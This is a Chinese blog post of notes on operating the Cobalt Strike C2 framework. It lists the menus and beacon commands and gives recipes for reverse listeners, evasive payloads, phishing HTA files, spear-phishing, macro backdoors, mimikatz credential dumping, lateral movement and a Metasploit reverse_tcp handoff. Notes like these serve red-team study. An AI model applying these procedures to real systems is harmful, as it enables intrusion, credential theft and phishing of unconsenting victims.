CS之命令笔记篇

0x00 文件架构

1
2
3
4
5
6
7
8
9
10
11
12
│  agscript            拓展应用的脚本
│ c2lint 检查profile的错误异常
│ cobaltstrike linux下启动脚本
│ cobaltstrike.jar 客户端程序
│ teamserver 服务端程序
│ update 更新脚本
│ update.jar 更新程序

└─third-party 第三方工具
README.vncdll.txt
vncdll.x64.dll
vncdll.x86.dll

0x01 TITLE选项栏

Cobalt Strike / View / Attacks / Reporting / Help

1
2
3
4
5
6
7
8
9
Cobalt Strike{
New Connection: 新的链接
Preferences: 偏好设置
Visualization: 窗口视图模式
VPN interfaces: VPN接入
Listeners: 监听器
Sript Manager: 脚本管理
Close: 退出
}

Cobalt Strike / View / Attacks / Reporting / Help

1
2
3
4
5
6
7
8
9
10
11
12
View{
Applications: 用于显示 System Profiler获取的目标浏览器,操作系统,flash版本
Credentials: 显示所有已经获取的用户主机hash
Downloads: 显示下载的文件
Event log: 事件日志 记录团队 目标上线等记录
Keystrokes: 目标键盘记录
Proxy Pivots: 代理信息
Screenshots: 屏幕截图
Script Console: 加载自定义脚本
Targets: 显示所有主机
Web log: web服务日志
}

Cobalt Strike / View / Attacks / Reporting / Help

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Attacks{
Packages(
HTML Application: 生成hta文件
MS Office Macro: 宏office文件
Payload Generator: 生成各种语言版本的payload
USB/CD AutoPlay: 利用自动播放运行的被控端文件
Windows Dropper: 捆绑器可将任意正常的文件
Windows Executable: payload生成可执行文件 (一般使用这个)
{
windows exe: x86/x64位可执行文件
windows server exe: x86/x64位可执行文件
windows dll(32.bit): 32位dll动态链接库
windows dll(64.bit): 64位dll动态链接库
}
Windows Executable(S): 把包含payload,Stageless生成可执行文件(包含多数功能)
)
Web Drive-by(
Manage: 开启的所有web服务
Clone Site: 克隆网站
Host File: 提供Web以供下载某文件
Scripted Web Delivery: 为payload提供web服务以便于下载和执行
Signed Applet Attack: 启动一个Web服务以提供自签名Java Applet的运行环境
Smart Applet Attack: 自动检测Java版本并l利用已知的exploits绕过security
System Profiler: 获取系统,Flash,浏览器版本等
)
Spear Phish: 鱼叉式网络钓鱼
}

Cobalt Strike / View / Attacks / Reporting / Help

1
2
3
4
5
6
7
8
9
Reporting{
0.Activity report: 活动报告
1.Hosts report: 主机报告
2.Indicators of Compromise: 威胁报告
3.Sessions report: 会话报告
4.Social engineering report: 社会工程学报告
Reset Data: 重置数据
Export Data: 导出数据
}

Cobalt Strike / View / Attacks / Reporting / Help

1
2
3
4
5
6
7
Help{
Homepage: 官方主页
Support: 技术支持
Arsenal: 开发者
System information: 版本信息
About: 关于
}

0x02 上线主机(点击→鼠标右键)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
鼠标右键{
Interact: 打开beacon
Access(
dump hashes: 获取hash
Elevate: 提权
Golden Ticket: 生成黄金票据注入当前会话
MAke token: 凭证转换
Run Mimikatz: 运行 Mimikatz
Spawn As: 用其他用户生成Cobalt Strike侦听器
)
Explore(
Browser Pivot: 劫持目标浏览器进程
Desktop(VNC): 桌面交互
File Browser: 文件浏览器
Net View: 命令Net View
Port scan: 端口扫描
Process list: 进程列表
Screenshot: 截图
)
Pivoting(
SOCKS Server: 代理服务
Listener: 反向端口转发
Deploy VPN: 部署VPN
)
Spawn: 新的通讯模式并生成会话
Session(
会话管理
删除
心跳时间
退出
备注
)
}

0x03 Beacon(相关命令)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
beacon> help

Beacon Commands
===============

命令 命令描述
------- -----------
argue Spoof arguments for matching processes
blockdlls Block non-Microsoft DLLs in child processes
browserpivot Setup a browser pivot session
bypassuac 尝试获取一个高权限的进程的权限
cancel 取消下载任务,比如,一个文件如果特别大,下载可能会非常耗时,假如中途你不想继续下了,就可以用这个取消一下
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect Connect to a Beacon peer over TCP
covertvpn 部署 Covert VPN 客户端
cp 复制当前文件到哪个目录
dcsync Extract a password hash from a DC
desktop View and interact with target's desktop
dllinject Inject a Reflective DLL into a process
dllload Load DLL into a process with LoadLibrary()
download 下载文件
downloads 列出当前正在下载的文件进程清单
drives 列出当前目标上所有硬盘驱动
elevate 尝试提升当前普通用户到特权用户
execute Execute a program on target (no output)
execute-assembly Execute a local .NET program in-memory on target
exit 退出当前 shell
getprivs 提升当前用户令牌的权限
getsystem 尝试获取当前系统system权限
getuid 获取当前系统用户名称
hashdump 抓取当前lsass中明文密码
help 显示使用命令参数
inject Spawn a session in a specific process
jobkill 关闭某个在系统后台长期运行的任务
jobs 列出当前在系统后台长期运行的任务
kerberos_ccache_use Apply kerberos ticket from cache to this session
kerberos_ticket_purge Purge kerberos tickets from this session
kerberos_ticket_use Apply kerberos ticket to this session
keylogger Inject a keystroke logger into a process
kill 关闭某个进程
link Connect to a Beacon peer over a named pipe
logonpasswords Dump credentials and hashes with mimikatz
ls 列出当前目录中所有文件名称
make_token Create a token to pass credentials
mimikatz 运行猕猴桃工具,需要配合命令使用。
mkdir 创建一个目录文件
mode dns Use DNS A as data channel (DNS beacon only)
mode dns-txt Use DNS TXT as data channel (DNS beacon only)
mode dns6 Use DNS AAAA as data channel (DNS beacon only)
mode http Use HTTP as data channel
mv 移动某个文件到哪里路径下
net Network and host enumeration tool
note 给当前目录机器起个名字,note beacon-shell
portscan Scan a network for open services
powerpick Execute a command via Unmanaged PowerShell
powershell powershell + CMD命令: 在目标主机执行powershell命令
powershell-import 导入内存一个 powershell 脚本
ppid Set parent PID for spawned post-ex jobs
ps 显示当前系统中所有进程列表
psexec Use a service to spawn a session on a host
psexec_psh Use PowerShell to spawn a session on a host
psinject Execute PowerShell command in specific process
pth Pass-the-hash using Mimikatz
pwd 列出当前目录路径
reg Query the registry
rev2self Revert to original token
rm 删除某个文件或者某个文件夹
rportfwd Setup a reverse port forward
run Execute a program on target (returns output)
runas Execute a program as another user
runasadmin Execute a program in a high-integrity context
runu Execute a program under another PID
screenshot Take a screenshot
setenv Set an environment variable
shell shell + CMD命令: 在目标主机执行CMD命令
shinject Inject shellcode into a process
shspawn Spawn process and inject shellcode into it
sleep 设置当前服务端与客户端之间心跳包时间频率
socks 启动 SOCKS4a 服务器用来中转流量
socks stop 关闭 SOCKS4a 服务器
spawn 生成一个新的会话
spawnas Spawn a session as another user
spawnto Set executable to spawn processes into
spawnu Spawn a session under another PID
ssh 执行ssh命令,连接某台linux服务器
ssh-key Use SSH to spawn an SSH session on a host
steal_token Steal access token from a process
timestomp Apply timestamps from one file to another
unlink Disconnect from parent Beacon
upload 从本地上传文件到目标主机
wdigest Dump plaintext credentials with mimikatz
winrm Use WinRM to spawn a session on a host
wmi 使用wmi命令在目标主机上执行
Ctrl+k 清屏

0x04 常用的一些命令

1、启动团队服务器

1
2
3
sudo ./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]

sudo ./teamserver 192.168.3.116 1314 /home/shiyan/gmail.profile 2019-12-26

2、启动客户端

1
2
3
./cobaltstrike.jar

./cobaltstrike.exe

3、启动一个监听服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Cobalt Strike → listeners → Add → set(name,payload,host,port) → save

New Listener{
Name: 该监听进程的名称
Payload: 选择监听的模块
{
windows/beacon_dns/reverse_dns_txt
windows/beacon_dns/reverse_http
windows/beacon_http/reverse_http # 常用监听模块
windows/beacon_https/reverse_https
windows/beacon_smb/bind_pipe
windows/beacon_tcp/bind_tcp
windows/foreign/reverse_http
windows/foreign/reverse_https
windows/foreign/reverse_tcp
}
Host: 监听本机IP
Port: 监听本机端口
}

4、生成一个反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Attacks → Packages → Windows Executable → set(Listener,Output,x64) → windows EXE

Windows Executable{
Listener: 选择一个已设好的监听服务
Add{ 新建一个监听服务
New Listener(name,payload,host,port)
}
Output: 选择一个可执行文件
{
windows exe: x86/x64位可执行文件
windows server exe: x86/x64位可执行文件
windows dll(32.bit): 32位dll动态链接库
windows dll(64.bit): 64位dll动态链接库
}
x64: 勾选即可生成64位文件
}

5、生成一个 Shell Code ,便于免杀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Attacks → Packages → payload Generator → set(listener,output) → Generate

payload Generator{
Listener: 选择一个已设好的监听服务
Add{ 新建一个监听服务
New Listener(name,payload,host,port)
}
Output: 选择一个可执行文件
{
C
C#
COM Scriptlet
Java
Perl
PowerShell
PowerShell Command
Python
Raw
Ruby
Veil
VBA
}
x64: 勾选即可生成64位文件
}

6、设置web站点,让其下载恶意脚本

1
Attacks → Web Drive-by → Host File → set(file,local url,local host,local port,mime type)

7、生成一个新的通讯模块

1
目标shell → 右键 → spawn → 选中监听服务 → choose

8、钓鱼HTML文件生成,放到目标站后,社工下载即可

1
Attacks → Packages → HTML Application → set(listener,method) → Generate

9、克隆网站

1
Attack → Web Drive-by → Clone Site → set(Clone URL,Local URI,Local Host,Local Port,Attack) → Clone

10、邮件钓鱼攻击

1
2
3
4
5
6
7
8
9
10
Attack → Spear Phish → set(targets,template,attachment,embedurl,mailserver,bounceto) → preview(预览) → send2

targets 发送的目标信息 格式 xxxx@xxx.com(tab键) name
xxx1@qq.com test1
xxx2@qq.com test2
tmplate 邮件模板 一般在邮件的更多选项中 ,选择导出,或者显示原文
attachment 附件
Embed URL 要嵌入的网址
Mail server SMTP
Bounce to 模仿发件人

11、生成office宏后门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Attacks → Packages → MS Office Macro → set(Listener) → Generate

New Listener{
Name: 该监听进程的名称
Payload: 选择监听的模块
{
windows/beacon_dns/reverse_dns_txt
windows/beacon_dns/reverse_http
windows/beacon_http/reverse_http # 常用监听模块
windows/beacon_https/reverse_https
windows/beacon_smb/bind_pipe
windows/beacon_tcp/bind_tcp
windows/foreign/reverse_http
windows/foreign/reverse_https
windows/foreign/reverse_tcp
}
Host: 监听本机IP
Port: 监听本机端口
}

12、目标主机提权

1
右键目标 → Access → Elevate → 选择提权方法(ms14-058,UAC DLL,uac-token-duplication)

13、抓取目标主机hash

1
2
3
右键目标 → Interact → beacon → mimikatz sekurlsa::logonpasswords

右键目标 → Interact → beacon → hashdump

14、查看历史抓取密码存档记录

1
view → credentials

15、在目标主机下链接内网其它linux机器

1
2
3
4
5
6
7
右键目标 → Interact → beacon → ssh 192.168.3.116:22 root 1234

beacon> ssh 192.168.3.116:22 root 1234
[*] Tasked beacon to SSH to 192.168.3.116:22 as root
[+] host called home, sent: 437307 bytes
[+] host called home, sent: 34 bytes
[+] established link to child session: 192.168.3.116

16、扫内网端内其它存活主机

1
2
beacon> portscan 192.168.3.0-192.168.3.254 1-1024 arp 1024
[*] Tasked beacon to scan ports 1-1024 on 192.168.3.0-192.168.3.254

17、横向移动

1
view  → targets → 目标站右键 → login → psexec → 使用已知密码横向移动

18、把CS上获取到的shell,传递给msf

1
2
3
4
5
6
7
8
9
10
11
12
13
root@kali:~ msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > set lhost 192.168.43.8
lhost => 192.168.43.8
msf5 exploit(multi/handler) > run

1. 打开CS,创建windows/foreign/reverse_tcp Listener 监听模块。
2. 设置ip和端口为msf的一致。
3. 然后选中目标机器,右键-spawn。

19、把MSF上获取到的shell,传递给CS

1
2
3
4
5
6
1. CS设置本地监听
2. msf从meterpreter中切换下,background
3. 然后输入 Set payload windows/local/payload_inject
4. set lhost x.x.x.x.
5. set lport Xxxx
6. exploit

20、未完待续…

1


CS之命令笔记篇
https://sh1yan.top/2019/07/20/CS-Command-Notes/
作者
shiyan
发布于
2019年7月20日
许可协议